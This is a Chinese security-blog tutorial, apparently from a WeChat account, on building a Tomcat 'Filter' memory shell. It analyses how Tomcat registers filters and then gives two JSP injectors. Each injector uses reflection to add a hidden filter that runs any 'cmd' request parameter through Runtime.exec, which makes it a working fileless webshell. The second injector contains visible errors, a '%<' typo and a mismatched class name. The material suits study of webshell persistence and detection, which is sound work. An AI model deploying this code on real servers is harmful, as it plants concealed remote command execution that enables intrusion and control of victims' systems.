点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
在前面,我们已经分析了listener和servlet两种类型的内存马,然后本文来分析filter,文章中会把前两篇的分析思路结合起来,这篇可以说是最细的一篇了。
Filter创建
doFilter断点分析
调试分析
手搓内存马
Filter创建处断点分析
tomcat加载流程
调试分析
手搓内存马
最后
Filter创建
完整代码
public class TestFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("--创建过滤器--");
}
public void doFilter(ServletRequest servletRequest, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("过滤器运行中");
HttpServletRequest requestURI1 = (HttpServletRequest) servletRequest;
String requestURI = requestURI1.getRequestURI();
if (requestURI.contains("/caigo")) {
String cmd = servletRequest.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public void destroy() {
System.out.println("--销毁过滤器--");
}
}
web.xml配置
<filter>
<filter-name>testFilter</filter-name>
<filter-class>com.example.filtershell.filter.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>testFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
配置完成后,把项目启动看下效果
接下来就是调试分析了,网上大部分分析文章都是在doFilter断点,然后看它的调用栈,那么我们也先来这种,要搞懂的问题还是下面两个
1、这个filter是咋把我们创建的类加载到内存中的
2、我们如何通过java代码把我们自定义的filter类加载到内存中
但是在调试分析前我们要先思考几个点
我们前面在分析listener的时候,我们只要控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类
但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们是不是想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的对吧,这就是filter内存马和listener内存马编写的区别
动调分析
然后我们就找下刚刚提到的三个点:Filter、Filtername、FilterURL是从哪里来的
是在StandardContext#context中,这里可以看到和filter相关的有三个:filterConfigs、filterDefs、filterMaps
这里粗略记录下这三个是干什么的
filterMaps 存放了filter别名和路由
filterDefs 存放了filter类指向和filter别名
filterConfigs 存放了一些配置信息
我们详细整理下内容
filter创建需要:filter类引用、filter别名、对应路由、绑定路由的filter别名、filter实例
对应方法分别是 filterDef#filterclass、filterDef#filtername、filterMap#urlPattern、filterMap#filterName
这里实际上还要传入我们创建的filter实例,但是这里分析不到,是通过setfilter传入
我们要先配置好这些,把filterDef和filterMap写入StandardContext#context中
然后在filterconfig中有StandardContext#context和filterDef,我们也要添加
最后获取filterconfigs,把filterconfig写入
大概的思路就是这样,我们来一步步写代码
手搓内存马
流程如下:
1、创建filter对象
2、获取StandardContext#context
3、配置filterDef并添加
4、配置filterMap并添加
5、反射创建FilterConfig,传入standardContext与filterDef
6、获取filterConfigs,并且转换成map类型
7、把filter名和配置好的filterConfig传入filterConfings
//1、创建filter对
<%
class testFilter implements Filter {
//中间件启动后就自动运行
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("--创建过滤器--");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("过滤器运行中");
HttpServletRequest requestURI1 = (HttpServletRequest) servletRequest;
String requestURI = requestURI1.getRequestURI();
if (requestURI.contains("/caigo")) {
String cmd = servletRequest.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
@Override
//中间件关闭后就自动运行
public void destroy() {
System.out.println("--销毁过滤器--");
}
}
%>
<%
//2、获取StandardContext#context
Field request1 = request.getClass().getDeclaredField("request");
request1.setAccessible(true);
Request request2 = (Request) request1.get(request);
StandardContext context = (StandardContext) request2.getContext();
//3、配置filterDef并添加
testFilter testFilter = new testFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("testfilter");
filterDef.setFilterClass(testFilter.getClass().getName());
filterDef.setFilter(testFilter);
//添加filterDef
context.addFilterDef(filterDef);
//4、配置filterMap并添加
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("testfilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
context.addFilterMapBefore(filterMap);
//5、反射创建FilterConfig,传入standardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
//6、获取filterConfigs,并且转换成map类型
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
//7、把filter名和配置好的filterConfig传入filterConfings
filterConfigs.put("testfilter",filterConfig);
%>
效果
这种分析方法,推荐把断点调试里面的参数和内存马代码结合起来看,理解的会比较快,不然会有点难理解,然后接下来我们来第二种方式分析,我个人认为第二种分析方法会容易理解的多
Filter创建处断点分析
tomcat加载流程
这个其实在servlet那篇已经讲过了,这里再说一下,那么回到正题filter是在哪里添加的呢?这就要涉及到tomcat的运行流程了
tomcat是如何添加filter的呢?实际上是通过web.xml读取配置,然后添加的,那么我们想要定位到添加代码,就可以去看web.xml配置解析那一块的流程
通过web.xmlwebConfig()解析xml稳定,然后触发configureContext()赋值对象,这里流程图可以看到后续就是我们添加filter和servlet的流程了,那么我们定位到这个类
这里要记得在pom.xml中添加tomcat的包,不然可能搜不到
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version> //版本选择和自己tomcat同版本
</dependency>
然后maven下载源代码
调试分析
往下调试到第1224行
这里两个for其实就是filter的添加流程,我们各下个断点,一个个看
for (FilterDef filter : webxml.getFilters().values()) {
//for循环获取webxml中filter的定义信息
if (filter.getAsyncSupported() == null) {
//判断filter的 async-supported 属性是否为 null
filter.setAsyncSupported("false");
//如果是 null,则将其设置为 "false"
}
context.addFilterDef(filter);
//不为null,通过addfilterDef添加filter信息
}
我们看下filter中有什么信息
首先,这个filter是个filterDef对象,然后里面有两个关键参数
filterName和filterClass,分别是我们传入的类别名和类引用,然后好像就没了
我们看下一个for循环
for (FilterMap filterMap : webxml.getFilterMappings()) {
//从 webxml 对象中获取所有filter映射
context.addFilterMap(filterMap);
//将filter映射添加到 context 对象中
}
这个filterMap是个filterMap对象,然后里面有两个关键参数
filterName和urlPatterns,分别是我们设置的路由映射的类别名和对应路由
然后到这里代码就结束了,这个时候各位应该发现了,是不是少了个啥?没有传入我们实例化的filter,其实这里和servlet一样,有懒加载机制,在filterDef有个setfilter方法可以传入我们创建的filter实例,那么到这里filter的添加流程我们就分析完了
手搓内存马
添加步骤如下
1、创建filter对象
2、获取StandardContext#context
3、创建filterDef并写入filter信息
4、创建filterMap并写入filter映射路由
5、把filterDef和filterMap添加到context中
<%
//1、创建filter对象
class TestServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("触发doget");
String requestURI = req.getRequestURI();
if (requestURI.contains("/caigo")) {
String cmd = req.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
%>
%<
//2、获取StandardContext#context
ServletContext servletContext = request.getServletContext();
Field applicationfield = servletContext.getClass().getDeclaredField("context");
applicationfield.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationfield.get(servletContext);
Field standardContext = applicationContext.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext context = (StandardContext) standardContext.get(applicationContext);
//3、创建filterDef并写入filter信息'
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("testFilter");
filterDef.setFilter(new TestFilter());
filterDef.setFilterClass(TestFilter.class.getName());
//4、创建filterMap并写入filter映射路由
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("testFilter");
filterMap.addURLPattern("/*");
//5、把filterDef和filterMap添加到context中
context.addFilterDef(filterDef);
context.addFilterMap(filterMap);
%>
效果演示
那么可以发现第二种我们在分析和手搓的时候是没有添加filterConfigs的,因为我这里分析流程中没有看到需要传入filterConfigs,我也去请教过一些师傅,部分师傅说如果没传入filterConfigs的话filter内存马生效不了,但是我本地环境可以成功,就搞得我有点蒙,然后我在filterConfigs.put的地方下来个断点,发现貌似传入filterMap和filterDef后,代码逻辑会自己走到filterConfigs.put,如果有深入分析过filter,懂具体原因的师傅可以加我V交流一下,感谢
最后
那么到这里java传统的三种内存马我们就都分析完了,接下来应该就spring boot的三种类型内存马的分析了
如有技术问题可扫描交流群二维码进群交流
如果二维码过期,可以加我联系方式备注“交流群”
原文始发于微信公众号(菜狗安全):JAVA安全-内存马系列-Filter
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论